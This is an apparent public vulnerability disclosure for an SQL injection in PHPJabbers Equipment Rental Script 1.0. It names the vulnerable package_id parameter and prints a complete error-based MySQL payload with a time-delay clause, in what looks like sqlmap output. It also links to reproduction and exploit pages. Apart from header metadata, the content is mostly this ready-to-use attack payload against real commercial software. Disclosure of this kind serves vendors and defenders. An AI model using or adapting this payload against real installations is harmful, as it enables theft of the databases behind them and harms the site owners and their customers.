Equipment Rental Script 1.0 SQL Injection

## Title: Equipment Rental Script-1.0 - SQLi## Author: nu11secur1ty## Date: 09/12/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/equipment-rental-script/#sectionDemo## Reference: https://portswigger.net/web-security/sql-injection## Description:The package_id parameter appears to be vulnerable to SQL injectionattacks. The payload ' was submitted in the package_id parameter, anda database error message was returned. You should review the contentsof the error message, and the application's handling of other input,to confirm whether a vulnerability is present. The attacker can stealall information from the database!STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: #1* ((custom) POST)    Type: error-based    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)    Payload: package_id=(-4488))) OR 1 GROUP BYCONCAT(0x71787a6a71,(SELECT (CASE WHEN (7794=7794) THEN 1 ELSE 0END)),0x7176717671,FLOOR(RAND(0)*2)) HAVINGMIN(0)#from(select(sleep(20)))a)&cnt=2&date_from=12/9/2023&hour_from=11&minute_from=00&date_to=12/9/2023&hour_to=12&minute_to=00---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Equipment-Rental-Script-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/phpjabbers-equipment-rental-script-10.html)## Time spent:00:25:00